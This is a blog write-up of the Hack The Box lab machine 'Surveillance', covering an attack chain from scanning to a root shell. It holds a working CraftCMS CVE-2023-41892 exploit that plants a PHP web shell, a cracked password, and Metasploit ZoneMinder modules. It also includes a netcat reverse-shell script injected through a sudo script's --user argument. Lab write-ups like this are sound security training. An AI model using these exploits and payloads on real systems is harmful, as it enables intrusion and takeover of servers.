Post

Hack The Box - Surveillance

Surveillance was a complex and challenging box that required multiple exploitation techniques, including leveraging vulnerabilities in CraftCMS and ZoneMinder, along with performing lateral movement and privilege escalation.

Diagram

graph TD
    A[Information Gathering] -->|Port Scan| B[Enumeration]
    B --> C[HTTP 80]
    C --> D[CraftCMS Exploitation]
    D --> E[Lateral Movement]
    E --> F[Identify User Matthew]
    F --> G[Crack User Credentials]
    G --> H[Privilege Escalation]
    H --> I[ZoneMinder Exploitation]
    I --> J[Root Shell]

Information Gathering

Portscan


  • sudo hping3 -S --scan known 10.10.11.245

    Untitled

  • sudo hping3 -S --scan 1-65535 10.10.11.245

    Untitled

  • nmap -sVC -Pn -p 22,80 10.10.11.245 -n -T4

    Untitled

Enumeration

HTTP 80


When trying to access http://10.10.11.245 it redirects to http://surveillance.htb/, so we need to configure this in our DNS file

  • /etc/hosts

    Untitled

Let’s enumerate subdomains first

  • ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://surveillance.htb -H "Host: FUZZ.surveillance.htb" -mc 200

    Untitled

At the end of the main page, it is possible to see that they use CraftCMS version 4.4.14

Exploitation

CraftCMS 4.4.14

Searching for vulnerabilities in the CraftCMS version, a possible RCE was found

CVE-2023-41892

Searching for a PoC, the following page was found

https://gist.github.com/gmh5225/8fad5f02c2cf0334249614eb80cbf4ce

Some code changes were necessary

  • cve-2023-41892.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    
      import requests
      import re
      import sys
        
      headers = {
          "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
      }
        
      def writePayloadToTempFile(documentRoot):
          data = {
              "action": "conditions/render",
              "configObject[class]": "craft\\elements\\conditions\\ElementCondition",
              "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
          }
        
          files = {
              "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
              <image>
              <read filename="caption:&lt;?php @System(@$_REQUEST['cmd']); ?&gt;"/>
              <write filename="info:DOCUMENTROOT/cpresources/shell.php">
              </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
          }
        
          response = requests.post(url, headers=headers, data=data, files=files)
        
      def getTmpUploadDirAndDocumentRoot():
          data = {
              "action": "conditions/render",
              "configObject[class]": "craft\\elements\\conditions\\ElementCondition",
              "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
          }
        
          response = requests.post(url, headers=headers, data=data)
        
          pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
          pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
        
          match1 = re.search(pattern1, response.text, re.DOTALL)
          match2 = re.search(pattern2, response.text, re.DOTALL)
        
          if match1 and match2:
              return match1.group(1), match2.group(1)
          else:
              print("Error: Could not find upload_tmp_dir or DOCUMENT_ROOT in the response.")
              return None, None
        
      def trigerImagick(tmpDir):
          data = {
              "action": "conditions/render",
              "configObject[class]": "craft\\elements\\conditions\\ElementCondition",
              "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
          }
          response = requests.post(url, headers=headers, data=data)
        
      def shell(cmd):
          response = requests.get(url + "/cpresources/shell.php", params={"cmd": cmd})
          match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)
        
          if match:
              extracted_text = match.group(1).strip()
              print(extracted_text)
          else:
              return None
          return extracted_text
        
      if __name__ == "__main__":
          if(len(sys.argv) != 2):
              print("Usage: python CVE-2023-41892.py <url>")
              exit()
          else:
              url = sys.argv[1]
              print("[-] Get temporary folder and document root ...")
              upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
              tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
              print("[-] Write payload to temporary file ...")
              try:
                  writePayloadToTempFile(documentRoot)
              except requests.exceptions.ConnectionError as e:
                  print("[-] Crash the php process and write temp file successfully")
        
              print("[-] Trigger imagick to write shell ...")
              try:
                  trigerImagick(tmpDir)
              except:
                  pass
        
              print("[-] Done, enjoy the shell")
              while True:
                  cmd = input("$ ")
                  shell(cmd)
    
  • python CVE-2023-41892.py http://surveillance.htb

    Untitled

Lateral Moviment


After entering the machine with www-data I tried to run some commands, but nothing was effective as it was limited.

Then I ran lastlog to check which users are active.

Untitled

It is possible to see that there is a user Matthew who logged in last time. Searching for backup files

find / -name "*.*bak*" -or -name "*.backup*" 2>/dev/null

I found a folder ~/html/craft/storage/backups

  • ls -la ~/html/craft/storage/backups

    Untitled

Transferred the file via netcat.

1
2
nc -lvnp 3340 < surveillance--2023-10-17-202801--v4.4.14.sql.zip 
nc 10.10.11.245 3340 > surveillance--2023-10-17-202801--v4.4.14.sql.zip
  • surveillance--2023-10-17-202801--v4.4.14.sqlIt is possible to see that it adds a user matthew in the SQL

    Untitled

    Untitled

    1
    
      INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
    
  • cracking the hash on crackstation.net → starcraft122490

    Untitled

Great, now switching to user matthew

  • su matthew

    Untitled

  • flag

    Untitled

Priv Escalation

ZoneMinder 1.36.32


Now running linpeas.

  • linpeas.sh Identified “ZoneMinder”

    Untitled

ZoneMinder is a free, open-source software application for monitoring via closed-circuit television - developed to run under Linux and FreeBSD and released under the terms of the GNU General Public License (GPL). Users control ZoneMinder via a web-based interface.

  • dpkg -l | grep zoneminder

    Untitled

Checking the version of ZoneMinder, I noticed it was v1.36.32.

From there, viewing the information on Metasploit, it is possible to see that it is vulnerable

  • use unix/webapp/zoneminder_lang_exec info -d

    Untitled

To use this module, I will have to do a manual port forwarding.

  • ssh -L 2222:127.0.0.1:8080 matthew@surveillance.htb

    Untitled

Accessing via web on port 2222.

None of the previous creds worked. So, I decided to run the module in Metasploit.

  • use exploit/unix/webapp/zoneminder_snapshots

    Untitled

  • exploit

    Untitled

The current user can execute any Perl script located in /usr/bin/ that starts with zm and is followed by any combination of letters from a a z (uppercase or lowercase), without needing a sudo password.

  • sudo -l

    Untitled

Checking the Perl files that the user has access to

  • ls -l /usr/bin/zm*.pl

    Untitled

Observing the update file

  • cat /usr/bin/zmupdate.pl

    Untitled

    Untitled

It is a script intended to check and update the ZoneMinder database. It basically needs a password to run. I can try to send a command with the password obtained by linpeas.

  • Payload

    1
    2
    
      #!/bin/bash
      busybox nc 10.10.16.4 5580 -e sh
    
  • sudo /usr/bin/zmupdate.pl --version=1 --user='$(/tmp/reverse.sh)' --pass=ZoneMinderPassword2023

    Untitled

Checking on netcat

  • nc -lvnp 5580

    Untitled

We got the shell with root.

This post is licensed under CC BY 4.0 by the author.